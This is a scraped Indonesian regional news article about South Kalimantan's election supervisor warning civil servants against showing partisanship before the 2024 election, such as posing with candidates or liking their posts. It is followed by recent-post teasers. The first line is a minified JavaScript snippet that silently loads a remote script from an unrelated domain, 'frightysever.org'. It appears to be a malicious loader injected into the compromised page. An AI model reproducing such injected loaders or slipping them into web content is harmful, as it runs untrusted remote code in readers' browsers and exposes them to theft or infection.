(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

ASN Dilarang Foto Bersama Calon hingga Beri Komen Like di Medsos


KANALKALIMANTAN.COM, BANJARBARU – Aparatur Sipil Negara (ASN) lingkup Pemerintah Kabupaten/Kota dan Provinsi Kalimantan Selatan (Kalsel) harus menjaga netralitas jelang pelaksanaan Pemilu 2024.
Dalam hal ini ASN dilarang melakukan tindakan keberpihakan kepada calon peserta Pemilu.

Aturan itu tertuang jelas dalam Surat Keputusan Bersama (SKB) Nomor 2 Tahun 2022 tentang Pedoman Pembinaan dan Pengawasan Netralitas Pegawai ASN dalam Pemilihan Umum dan Pemilihan.

SKB ini ditandatangani bersama oleh Menteri Dalam Negeri, Kepala Badan Kepegawaian Negara (BKN), Ketua Komisi Aparatur Sipil Negara, dan Ketua Badan Pengawas Pemilihan Umum.

Di sisi lain, aturan tentang netralitas ASN dalam Pemilu juga terdapat dalam Undang-Undang Pemilu Nomor 7 Tahun 2023.

Baca juga: Dua Kali Sebut Golkar, Video Kadisdikbud Kalsel di YouTube Menghilang

Anggota Bawaslu Kalsel, Thessa Aji Budiono menegaskan, sanksi yang dapat dijatuhkan atas pelanggaran netralitas ASN dapat berupa sanksi kode etik hingga pidana Pemilu.

“Mulai dari sanksi terhambatnya karir ASN, hingga pidana kurungan penjara 1 tahun dan denda belasan juta rupiah,” ujar Thessa di gedung Idham Chalid Banjarbaru, Selasa (7/11/2023) siang.

Thessa yang menjadi narasumber dalam sosialisasi netralitas ASN dan sosialisasi Pemilu dan Pilkada Serentak 2024 itu membeberkan, Bawaslu akan meneruskan ke pemerintah daerah yang berwenang dan Komisi ASN, jika suatu hari nanti ditemukan adanya laporan ASN yang tidak netral dalam Pemilu. “Jika masuk ke ranah pidana, laporan akan ditangani oleh Sentra Gakkumdu,” sebut Thessa.

Baca juga: Dugaan Keracunan Massal, Polres HSU Kirim Sampel ke BBTKLPP Banjarbaru

Lebih lanjut Thessa menjelaskan, ASN juga dilarang berfoto bersama calon atau pasangan calon, baik itu foto lama maupun baru yang diposting pada media sosial.
Sebab, kata dia hal itu bisa saja menunjukkan asumsi keberpihakan kepada salah satu calon.

“Jangankan yang nyata-nyata tindakan keberpihakan, menyukai atau like sampai komen di media sosial saja dapat dikenakan sanksi,” tegasnya.

Oleh karena itu dirinya meminta agar ASN dapat menahan diri pada saat Pemilu untuk tidak menunjukkan dukungan pada calon peserta Pemilu.

Baca juga: Dua Kota di Kalsel Tertinggi Kasus Kekerasan Perempuan dan Anak

Menurutnya ASN adalah abdi negara, ketika tidak menunjukkan netralitas dalam Pemilu tentu mempengaruhi statusnya sebagai abdi negara.

Apalagi tambahnya, ASN yang memiliki jabatan tertentu yang menggunakan kewenangannya dalam mempengaruhi jajaran ASN di bawahnya. Terlebih jika menggunakan fasilitas negara demi memuluskan kepentingan si calon.

“Hati-hati ASN yang foto dengan calon, diposting di media sosial, baik foto lama atau baru,” tutup Thessa.

Baca juga: Kontingen HSU Ikuti Perkemahan Bakti Saka Kalpataru Regional Kalimantan 2023

Adapun sejumlah pelanggaran yang dianggap tidak menunjukkan netralitas ASN lainnya antara lain adalah ikut sebagai peserta kampanye dengan mengerahkan ASN.

ASN juga dianggap melanggar netralitas ketika menghadiri deklarasi bakal pasangan calon dengan atau tanpa atribut, menjadi pembicara atau narasumber dalam kegiatan pertemuan parpol, atau mengadakan kegiatan yang mengarah pada keberpihakan calon.

Melalui kegiatan sosialisasi ini Bawaslu kembali melakukan pengawasan dengan strategi pencegahan baik melalui surat himbauan dan kegiatan sosialisasi, pencegahan langsung hingga kepada tindakan pelanggaran.

Baca juga: Kafilah Kalsel Peringkat 5 STQH Nasional XXVII di Jambi

Kegiatan ini diikuti oleh ASN di lingkungan Pemprov Kalsel dan dibuka oleh Sekretaris Daerah Provinsi Kalsel Roy Rizali Anwar.

Dalam kegiatan ini juga dilakukan penandatanganan Naskah Perjanjian Hibah Daerah (NPHD) antara Bawaslu Kalsel, KPU Kalsel dengan Pemerintah Provinsi Kalsel.

Selain Bawaslu, narasumber dalam kegiatan sosialisasi ini antara lain dari KPU Kalsel, dan Badan Kepegawaian Daerah. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : Bie


Muhammad Andi

Recent Posts

Pimpin Peringatan Hari Otda 2025, Wabup Sampaikan Apresiasi kepada Jajaran

KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Otonomi Daerah XXIX Tahun 2025 digelar oleh Pemkab Banjar di… Read More

3 jam ago

Siap Layani Embarkasi Haji Banjarmasin, Dua A330-343 Lion Air Tiba di Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Calon Jemaah Haji (CJH) Embarkasi Banjarmasin direncanakan mulai memasuki fase keberangkatan pada… Read More

4 jam ago

16 Mei CJH Banjarbaru Masuk Asrama Haji, Tergabung di Dua Kloter

KANALKALIMANTAN.COM, BANJARBARU - Calon Jemaah Haji (CJH) asal Kota Banjarbaru dijadwal akn berangkat ke Tanah… Read More

4 jam ago

Randi Juara Turnamen Billiard Bupati Kapuas Cup 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno didampingi Sekretaris Daerah (Sekda) Kapuas Septedy… Read More

7 jam ago

Peringati Hari Otda, Ini Kata Bupati HSU H Sahrujani

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) menggelar upacara peringatan Hari Otonomi… Read More

8 jam ago

Tingkatkan Kompetensi 183 Kades se Kapuas Digembleng di Pusdiklat Kemenhan

KANALKALIMANTAN.COM, KUALA KAPUAS - Sebanyak 183 Kepala Desa dan Penjabat Kepala Desa (Kades) se Kabupaten… Read More

8 jam ago